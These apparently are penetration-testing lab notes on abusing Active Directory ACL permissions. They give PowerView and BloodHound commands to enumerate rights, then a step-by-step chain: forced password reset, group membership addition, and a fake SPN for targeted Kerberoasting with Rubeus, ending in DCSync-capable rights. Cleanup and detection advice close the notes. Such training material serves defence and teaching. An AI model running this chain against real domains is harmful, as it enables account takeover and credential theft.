ACL/ACE Exploitation

ACL Primer - Types & Attacks

There are two types of ACLs:

  1. Discretionary Access Control List (DACL) - It will have Access Control Entries (ACE)'s to permit or deny access to an object for security principals. If a DACL doesn't exist for an object than access is permitted for all security principals and if a DACL exists but doesn't have any ACEs then all access is denied to the object.

  2. System Access Control Lists (SACL) - allow administrators to log access attempts made to secured objects.

When we view the Advanced Security Settings for an object, the permissions tab will show the DACL and the auditing tab will show the SACL.

Access Control Entries (ACE)

There are three main types of ACEs that can be applied to all securable objects in AD:

Access denied ACE

Used within a DACL to show that a user or group is explicitly denied access to an object

Access allowed ACE

Used within a DACL to show that a user or group is explicitly granted access to an object

System audit ACE

Used within a SACL to generate audit logs when a user or group attempts to access an object. It records whether access was granted or not and what type of access occurred

Each ACE is made up of the following four components:

  1. The security identifier (SID) of the user/group that has access to the object (or principal name graphically)

  2. A flag denoting the type of ACE (access denied, allowed, or system audit ACE)

  3. A set of flags that specify whether or not child containers/objects can inherit the given ACE entry from the primary or parent object

  4. An access mask which is a 32-bit value that defines the rights granted to an object.

Attackers utilize ACE entries to either further access or establish persistence. These can be great for us as penetration testers as many organizations are unaware of the ACEs applied to each object or the impact that these can have if applied incorrectly.

Some example Active Directory object security permissions are as follows. These can be enumerated (and visualized) using a tool such as BloodHound, and are all abusable with PowerView, among other tools:

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • Addself abused with Add-DomainGroupMember

Here are some ACE abuse attaks:

  • ForceChangePassword - gives us the right to reset a user's password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).

  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack.

  • AddSelf - shows security groups that a user can add themselves to.

  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

This graphic, adapted from a graphic created by Charlie Bromberg (Shutdown), shows an excellent breakdown of the varying possible ACE attacks and the tools to perform these attacks from both Windows and Linux.

Most common attack scenarios may include:

Attack
Description

Abusing forgot password permissions

Help Desk and other IT users are often granted permissions to perform password resets and other privileged tasks. If we can take over an account with these privileges (or an account in a group that confers these privileges on its users), we may be able to perform a password reset for a more privileged account in the domain.

Abusing group membership management

It's also common to see Help Desk and other staff that have the right to add/remove users from a given group. It is always worth enumerating this further, as sometimes we may be able to add an account that we control into a privileged built-in AD group or a group that grants us some sort of interesting privilege.

Excessive user rights

We also commonly see user, computer, and group objects with excessive rights that a client is likely unaware of. This could occur after some sort of software install (Exchange, for example, adds many ACL changes into the environment at install time) or some kind of legacy or accidental configuration that gives a user unintended rights. Sometimes we may take over an account that was given certain rights out of convenience or to solve a nagging problem more quickly.

ACL Enumeration

The following tools will be used: PowerView and BloodHound

Lets first look at PowerView. First we need to import:

Import-Module .\PowerView.ps1

This command will generate a lot of data and ACEs:

Find-InterestingDomainAcl

For a more targeted search we use SID for example the user wley:

$sid = Convert-NameToSid wley
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}

This will return all domain objects that our user has rights over. But in the ObjectAceType it will show a GUID that is not in human readable that looks something like 00299570-246d-11d0-a768-00aa006e0529.

We can add ResolveGUIDs so that it returns it in a human readable format such as User-Force-Change-Password as shown in this page.

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

Now, using PowerView is great but lets look at how to do it using cmdlets such as the Get-Acl and Get-ADUser.

First, we generate a list of domain users:

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

We then read each line of the file using a foreach loop, and use the Get-Acl cmdlet to retrieve ACL information for each domain user by feeding each line of the ad_users.txt file to the Get-ADUser cmdlet. We then select just the Access property, which will give us information about access rights. Finally, we set the IdentityReference property to the user we are in control of (or looking to see what rights they have), in our case, wley.

foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Now lets say through the right User-Force-Change-Password we got over another user damundsen we now have control over this user. We now use Powerview to hunt for where, if anywhere, control over the damundsen account could take us.

$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose

After further enumeration we find that our user damundsen has GenericWrite privileges over the Help Desk Level 1 group. Which means we can add any user including ourselves into that group. Next we check if this group is a member of any other group (nested membership) as this will mean we can inherit rights from the parent group as well.

Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

Here is a quick recap of where we are at so far:

  • We have control over the user wley whose hash we retrieved earlier using Responder and cracked offline using Hashcat to reveal the cleartext password value

  • We enumerated objects that the user wley has control over and found that we could force change the password of the user damundsen

  • From here, we found that the damundsen user can add a member to the Help Desk Level 1 group using GenericWrite privileges

  • The Help Desk Level 1 group is nested into the Information Technology group, which grants members of that group any rights provisioned to the Information Technology group

Now lets look at if the IT group has any interesting rights by again running the command Get-DomainObjectACL

$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose

Lets say it shows us that members of the Information Technology group have GenericAll rights over the user adunn.

Now looking even further we investigate if adunn user has any type of interesting access that we may be able to leverage to get closer to our goal.

$adunnsid = Convert-NameToSid adunn 
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose

Lets say the output shows that our adunn user has DS-Replication-Get-Changes and DS-Replication-Get-Changes-In-Filtered-Set rights over the domain object. This means that this user can be leveraged to perform a DCSync attack. We will cover this attack in-depth in the DCSync section.

That's it for ACL enumeration with PowerView. Now we look at how to do the same thing using Bloodhound.

As usual we run the Sharphound tool and ingest the data into Bloodhound. We select user wley as our starting node. Select the Node Info tab and scroll down to Outbound Control Rights. This option will show us objects we have control over directly, via group membership, and the number of objects that our user could lead to us controlling via ACL attack paths under Transitive Object Control. If we click on the 1 next to First Degree Object Control, we see the first set of rights that we enumerated, ForceChangePassword over the damundsen user.

If we click the line it will show us lots of options and attack paths for example:

If we click on the 16 next to Transitive Object Control, we will see the entire path that we painstakingly enumerated above. From here, we could leverage the help menus for each edge to find ways to best pull off each attack.

Finally, we can use the pre-built queries in BloodHound to confirm that the adunn user has DCSync rights.

That's it for the enumeration of ACE's now we look at the actual attacks.

ACL Exploitation

We currently have control over the user wley who has the right to force change password of another user damundsen via this right 00299570-246d-11d0-a768-00aa006e0529. This user has GenericAll rights to add any user in Help Desk Level 1 group which is nested into Information Technology group. The Information Technology group has GenericAll rights over the user adunn. This is what we have enumerated so far and now lets exploit it.

Step 1: we must authenticate as wley (if we are not authenticated already) and force change the password of the user damundsen.

To do this, we can create a PSCredential object.

$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) 

Next, we must create a SecureString object which represents the password we want to set for the target user damundsen.

$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force

Finally, we'll use the Set-DomainUserPassword PowerView function to change the user's password. We need to use the -Credential flag with the credential object we created for the wley user. It's best to always specify the -Verbose flag to get feedback on the command completing as expected or as much information about errors as possible. We could do this from a Linux attack host using a tool such as pth-net, which is part of the pth-toolkit.

Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

Step 2: In the same way now we authenticate as damundsen user and add ourselves to the Help Desk Level 1 group.

$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) 

Next, we can use the Add-DomainGroupMember function to add ourselves to the target group. We can first confirm that our user is not a member of the target group. This could also be done from a Linux host using the pth-toolkit.

# This will list all group members
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

Confirm that the user was added to the group:

Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

Step 3: Now we will attack the adunn user with the GenericAll rights we have. We could just change the password, but lets say we cannot interrupt this user so instead we will do a targeted kerberoasting attack to get the password. To do that we will use Set-DomainObject to create the fake SPN.

Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:adunn /nowrap

Finally, use hashcat to crack the hash.

To cleanup, we need to remove the fake SPN we created on the adunn user, remove the damundsen user from the Help Desk Level 1 group, Set the password for the damundsen user back to its original value (if we know it) or have our client set it/alert the user. This order is important because if we remove the user from the group first, then we won't have the rights to remove the fake SPN.

To remove the SPN:

Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

To remove remunsden from Help Desk Level 1 Group:

Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

Detection and Remediation

Auditing for and removing dangerous ACLs - Organizations should have regular AD audits performed but also train internal staff to run tools such as BloodHound and identify potentially dangerous ACLs that can be removed.

Monitor group membership - Visibility into important groups is paramount. All high-impact groups in the domain should be monitored to alert IT staff of changes that could be indicative of an ACL attack chain.

Audit and monitor for ACL changes - Enabling the Advanced Security Audit Policy can help in detecting unwanted changes, especially Event ID 5136: A directory service object was modified which would indicate that the domain object was modified, which could be indicative of an ACL attack.

Last updated

Was this helpful?